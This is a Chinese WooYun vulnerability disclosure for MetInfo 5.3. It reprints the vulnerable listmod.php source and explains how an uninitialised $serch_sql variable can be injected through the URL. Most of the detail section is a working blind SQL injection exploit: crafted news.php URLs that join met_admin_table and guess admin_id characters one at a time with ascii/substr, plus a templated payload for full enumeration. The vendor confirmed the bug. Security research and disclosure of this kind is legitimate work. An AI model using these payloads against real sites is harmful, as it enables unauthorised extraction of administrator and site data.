当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0119166

漏洞标题:MetInfo5.3 最新版本SQL注射(无限制全站信息获取)

相关厂商:MetInfo

漏洞作者: 魔鬼的步伐

提交时间:2015-06-09 10:55

修复时间:2015-09-07 11:08

公开时间:2015-09-07 11:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-09: 细节已通知厂商并且等待厂商处理中
2015-06-09: 厂商已经确认,细节仅向厂商公开
2015-06-12: 细节向第三方安全合作伙伴开放
2015-08-03: 细节向核心白帽子及相关领域专家公开
2015-08-13: 细节向普通白帽子公开
2015-08-23: 细节向实习白帽子公开
2015-09-07: 细节向公众公开

简要描述:

MetInfo5.3 最新版本SQL注射(无限制全站信息获取) 能否打个雷

详细说明:

listmod.php:

<?php
require_once substr(dirname(__FILE__), 0, -6).'common.inc.php';
require_once '../include/global/pseudo.php';
if($dbname!=$met_download&&$dbname!=$met_img&&$dbname!=$met_news&&$dbname!=$met_product){okinfo('../404.html');exit();}
if($class_list[$class1]['module']>=100||($class1==0&&$class2==0&&$class3==0)||$class1==10001){
if($search=="search"){

$search_module=$imgproduct=='product'?3:5;
if($searchtype)$search_module=$searchtype;
$query="select * from $met_column where module='$search_module' and (classtype=1 or releclass!=0) and lang='$lang' order by no_order ASC,id ASC";
$search_coloumn=$db->get_all($query);
$class1=$search_coloumn[0]['id'];
}else{

if($imgproduct){
$ipmd = $imgproduct=='product'?100:101;
if($imgproduct=='product'){$class1=$productlistid;}
else{$class1=$imglistid;}
}
}
}
else{
if(!$class1){
if(!$class2){$class2=$class_list[$class3]['bigclass'];}
$class1=$class_list[$class2]['bigclass'];
}
}

if($met_member_use){
$classaccess=$class3?$class3:($class2?$class2:$class1);
$classaccess= $db->get_one("SELECT * FROM $met_column WHERE id='$classaccess'");
$metaccess=$classaccess['access'];
}
require_once '../include/head.php';
if($class1){if(!is_array($class_list[$class1]))okinfo('../404.html');}
$pseudos=$db->get_one("select * from $met_column where filename='$class2' and lang='$lang'");
if($pseudos){
$class2=$pseudos[id];
}
if($class2){
if(!is_array($class_list[$class2])){
okinfo('../404.html');
}
else{
if($class_list[$class2]['bigclass']!=$class1){
okinfo('../404.html');
}
}
}
if($class3){
if(!is_array($class_list[$class3])){
okinfo('../404.html');
}
else{
if($class_list[$class3]['bigclass']!=$class2){
okinfo('../404.html');
}
}
}
$class1_info=$class_list[$class1]['releclass']?$class_list[$class_list[$class1]['releclass']]:$class_list[$class1];
$class2_info=$class_list[$class1]['releclass']?$class_list[$class1]:$class_list[$class2];
$class3_info=$class_list[$class1]['releclass']?$class_list[$class2]:$class_list[$class3];
if(!is_array($class1_info))okinfo('../404.html');
$class1sql=" class1='$class1' ";
if($class1&&!$class2&&!$class3){
foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){
if($val['releclass']==$class1){
$class1re.=" or class1='$val[id]' ";
}
}
if($class1re){
$class1sql='('.$class1sql.$class1re.')';
}
}
if($imgproduct){
$ipcom = $imgproduct=='product'?$productcom:$imgcom;
$serch_sql .=" where lang='$lang' {$mobilesql} and (recycle='0' or recycle='-1')";
if($ipcom=='com')$serch_sql .= " and com_ok=1";
if($class1 && $class_list[$class1]['module']<>$ipmd&&$class1!=10001){
$serch_sql .= ' and (('.$class1sql;
}else{
$serch_sql .= ' and ((1=1';
}
}else{
$serch_sql=" where lang='$lang' {$mobilesql} and (recycle='0' or recycle='-1') and (( $class1sql ";
}
if($class2)$serch_sql .= " and class2='$class2'";
if($class3)$serch_sql .= " and class3='$class3'";
$serch_sql .= " )";
if($imgproduct=='product'){
$serch_sql .= " or (";
$serch_sql .= " classother REGEXP '/|-{$class1}-";
$serch_sql .= $class2?"{$class2}-":"[0-9]*-";
$serch_sql .= $class3?"{$class3}-|/'":"[0-9]*-|/'";
$serch_sql .= " )";
}
$serch_sql .= " )";
if($search=="search" && $mdmendy){
$dbparaname = $mdname=='product'?$product_paralist:($mdname=='download'?$download_paralist:$img_paralist);
if($searchtype){
if($title<>''){
$serch_sql .= " and title='".trim($title)."' ";
$serchpage .= "&title=".trim($title);
}
foreach($dbparaname as $key=>$val){
$paratitle=$$val['para'];
if($val['type']==4 and intval($page<1)){
$paratitle="";
foreach($para_select[$val[id]] as $key=>$val1){
$parasel="para".$val['id']."_".$val1[id];
if(trim($$parasel)<>'')$paratitle.=$$parasel."-";
}
if(trim($paratitle)<>'')$paratitle=substr($paratitle, 0, -1);
}
if(trim($paratitle)<>''){
$serch_sql .= " and exists(select * from $met_plist where module=3 and $met_plist.paraid='$val[id]' and $met_plist.listid='$dbname.id and' $met_plist.info='".trim($paratitle)."') ";
$serchpage .= "&".$val['para']."=".trim($paratitle);
}
}
}else{
if($title<>''){
$serch_sql .= " and title like '%".trim($title)."%'";
$serchpage .= "&title=".trim($title);
}
if($content<>''){
if($imgproduct && $metadmin['productother']){
$serch_sql .= " and ((content like '%".trim($content)."%' or content1 like '%".trim($content)."%' or content2 like '%".trim($content)."%' or content3 like '%".trim($content)."%' or content4 like '%".trim($content)."%' or title like '%".trim($content)."%')";
}else{
$serch_sql .= " and ((content like '%".trim($content)."%' or title like '%".trim($content)."%') or (title like '%".trim($content)."%') ";
}
$serchpage .= "&content=".trim($content);
}
foreach($dbparaname as $key=>$val){
$paratitle=$$val['para'];
if($val['type']==4){
if(!$paratitle){
$paratitle="";
foreach($para_select[$val['id']] as $key=>$val1){
$parasel="para".$val['id']."_".$val1['id'];
if(trim($$parasel)<>'')$paratitle.=$$parasel."-";
}
if(trim($paratitle)<>'')$paratitle=substr($paratitle, 0, -1);
if(trim($paratitle)<>''){
$serch_sql .= " and exists(select * from $met_plist where module=3 and $met_plist.paraid='$val[id]' and $met_plist.listid=$dbname.id and $met_plist.info like'%".trim($paratitle)."%') ";
$serchpage .= "&".$val['para']."=".trim($paratitle);
}
}else{
$serch_sql .= " and exists(select * from $met_plist where module=3 and $met_plist.paraid='$val[id]' and $met_plist.listid=$dbname.id and $met_plist.info like'%".trim($paratitle)."%') ";
$serchpage .= "&".$val['para']."=".trim($paratitle);
}
}else{
if(trim($paratitle)<>''){
$serch_sql .= " and exists(select * from $met_plist where module=3 and $met_plist.paraid='$val[id]' and $met_plist.listid=$dbname.id and $met_plist.info = '$paratitle') ";
$serchpage .= "&".$val['para']."=".trim($paratitle);
}
}

}
//5.0.4

if($content<>'')$serch_sql .= " or exists(select $met_plist.id from $met_plist inner join $met_parameter on $met_plist.paraid=$met_parameter.id where $met_plist.module=3 and $met_parameter.type<>5 and $met_plist.listid=$dbname.id and $met_plist.info like'%".trim($content)."%')) ";
//价格搜索
foreach($dbparaname as $key=>$val2){
$prices1="paraprice_".$val2['id'];
$prices=$$prices1;
if($prices){
if(!strstr($prices, "-")){
preg_match('/([0-9\.]+)/',$prices,$result);
$results=$result[0];
$serch_sql .= " and exists(select * from $met_plist where module=3 and $met_plist.paraid='$val2[id]' and $met_plist.listid=$dbname.id and $met_plist.info > $results) ";
$serchpage .= "&".$prices1."=".trim($$prices1);
}else{
$prices_sql=explode('-',$prices);
preg_match('/([0-9\.]+)/',$prices_sql[1],$result);
$results=$result[0];
$serch_sql .= " and exists(select * from $met_plist where module=3 and $met_plist.paraid='$val2[id]' and $met_plist.listid=$dbname.id and $met_plist.info > $prices_sql[0] and $met_plist.info < $results) ";
$serchpage .= "&".$prices1."=".trim($$prices1);
}

}
}
}
}
if($mdmendy)$serchpage .= "&searchtype=".$searchtype;
if($met_member_use==2)$serch_sql .= " and access<=$metinfo_member_type";
$order_sql=$class3?list_order($class_list[$class3]['list_order']):($class2?list_order($class_list[$class2]['list_order']):list_order($class_list[$class1]['list_order']));
$order_sql=($search=="search" && $mdmendy)?" order by top_ok desc,com_ok desc,no_order desc,updatetime desc,id desc":$order_sql;
$order_sql=$order_sql==''?" order by top_ok desc,com_ok desc,no_order desc,updatetime desc,id desc":$order_sql;
if($mdname=='news'||$mdname=='product'||$mdname=='download'||$mdname=='img'||$mdname=='job'){
$serch_sql .=" and displaytype='1'";
}
$serch_sql .= " and addtime<='{$m_now_date}'";
$total_count = $db->counter($dbname, "$serch_sql", "*");
require_once '../include/pager.class.php';
$page = (int)$page;
if($page_input){$page=$page_input;}
$list_num=$dbname_list;
$rowset = new Pager($total_count,$list_num,$page);
$from_record = $rowset->_offset();
$page = $page?$page:1;
$query = "SELECT * FROM $dbname $serch_sql $order_sql LIMIT $from_record, $list_num";


看到最后一行:
$serch_sql 怎么做能让这个没有在上面给初始化,这就是我们要做的
通过调试:
我们的知 控制它是否初始化的另一个变量为imgproduct
当这个变量非search的任意字符的时候,导致serch_sql 不能进行初始化
我们发送url:
http://localhost/MetInfo5.3/news/news.php?lang=cn&class2=5&serch_sql=xxxxxxxxx&imgproduct=xxxx
抓取到的sql为:
SELECT * FROM met_news xxxxxxxxx where lang='cn' and (recycle='0' or recycle='-1') and (( class1='2' and class2='5' ) ) and displaytype='1' and addtime<='2015-06-09 03:26:14' order by top_ok desc,no_order desc,updatetime desc,id desc LIMIT 0, 8
此处正好位于met_news 后面
我们进行测试:
如果我们想得到met_app表里面的数据我们的数据构造是:
SELECT * FROM met_news as a join met_app as b where if(ascii(substr(a.id,1,1))=49,1,0) limit 0,1

3.png


这里id是1 所以ascii为49

4.png


当id以2开头的有这么多,所以就全部获取出来了
我们传递一个不存在的id:

5.png


这样一来就等于没有数据,通过上面的分析,我们就可以通过这一张表去猜测,其他任何一张表的信息:
发送url:
http://localhost/MetInfo5.3/news/news.php?lang=cn&class2=5&serch_sql=as a join met_admin_table as b where if(ascii(substr(b.admin_id,1,1))=97,1,0) limit 0,1-- sd&imgproduct=xxxx
我们去猜测admin表,如果admin表里面的admin_id 的第一个字母为a的话,那么页面里面有值

7.png


这样一来 比sql注入更为简单了97那个位置,然后在判断第二位,再穷聚 自然就爆表了
更改pyload
http://localhost/MetInfo5.3/news/news.php?lang=cn&class2=5&serch_sql=as a join met_admin_table as b where if(ascii(substr(b.admin_id,$p,1))=$num,1,0) limit 0,1-- sd&imgproduct=xxxx
然后只需要判断页面是否有数据,本例中为“为什么企业要建多国语言网站?”
后面的测试代码 是php简单写的 ,比较容易超时,大晚上的 没个python环境,真苦恼。。。。。。
大牛们 去补充python脚本吧

漏洞证明:

修复方案:

版权声明:转载请注明来源 魔鬼的步伐@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-06-09 11:07

厂商回复:

是系统BUG,后续版本中会修复问题。

最新状态:

暂无